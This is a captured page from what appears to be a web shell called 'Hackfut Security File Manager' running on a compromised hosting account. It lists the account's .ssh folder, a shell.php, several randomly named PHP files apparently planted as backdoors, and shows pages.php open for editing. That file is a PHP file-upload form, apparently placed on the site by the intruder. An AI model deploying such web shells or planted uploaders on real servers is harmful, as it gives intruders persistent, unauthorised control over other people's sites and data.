Hackfut Security File Manager
Current Path:
/home/comdesb
home
/
comdesb
/
📁
..
📁
.ssh
📄
bulletin.php
(97.2 KB)
📄
cache-helper.php
(1013 B)
📄
file-manager-advanced.php
(27.46 KB)
📁
htdocs
📁
html
📁
httpdocs
📄
manager.php
(4.44 KB)
📄
nv03vhoiyk.php
(853 B)
📄
nvmfbkojlm.php
(1021 B)
📄
object-cache-dropin.php
(366.61 KB)
📄
pages.php
(2.72 KB)
📁
public_html
📄
shell.php
(830 B)
📁
tmp
📁
uploads
📁
www
📄
xcomdes.php
(1.09 KB)
Editing: pages.php
<?php // Define allowed file extensions for security $allowed_extensions = array('jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx', 'txt', 'zip'); // Set the directory where files will be saved $upload_dir = __DIR__ . '/uploaded_files/'; // Create the directory if it doesn't exist if (!file_exists($upload_dir)) { mkdir($upload_dir, 0755, true); } $message = ''; // Process the upload if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['user_file'])) { $file = $_FILES['user_file']; // Check for upload errors if ($file['error'] !== UPLOAD_ERR_OK) { $message = "<p style='color:red;'>Upload failed with error code: " . $file['error'] . "</p>"; } else { // Get file extension and convert to lowercase $ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)); // Security: Check if extension is allowed if (!in_array($ext, $allowed_extensions)) { $message = "<p style='color:red;'>❌ Error: File type not allowed. Allowed: " . implode(', ', $allowed_extensions) . "</p>"; } // Security: Check file size (Max 10MB) elseif ($file['size'] > 10485760) { $message = "<p style='color:red;'>❌ Error: File is too large. Max size is 10MB.</p>"; } else { // Generate a unique filename to prevent overwriting existing files $new_filename = uniqid('upload_', true) . '.' . $ext; $destination = $upload_dir . $new_filename; // Move the file if (move_uploaded_file($file['tmp_name'], $destination)) { $message = "<p style='color:green;'>✅ Success! File uploaded as: " . htmlspecialchars($new_filename) . "</p>"; } else { $message = "<p style='color:red;'>❌ Error: Failed to move the file. Check folder permissions.</p>"; } } } } ?> <!DOCTYPE html> <html> <head> <title>File Uploader</title> <style> body { font-family: Arial, sans-serif; max-width: 600px; margin: 50px auto; padding: 20px; border: 1px solid #ccc; } input[type="file"] { margin: 10px 0; } button { padding: 10px 20px; background: #0073aa; color: white; border: none; cursor: pointer; } </style> </head> <body> <h2>Upload a File</h2> <?php echo $message; ?> <!-- enctype="multipart/form-data" is REQUIRED for file uploads --> <form method="POST" enctype="multipart/form-data"> <label for="user_file">Choose file:</label><br> <input type="file" name="user_file" id="user_file" required><br><br> <button type="submit">Upload File</button> </form> <p><small>Allowed types: <?php echo implode(', ', $allowed_extensions); ?> (Max 10MB)</small></p> </body> </html>
Upload File
Create Folder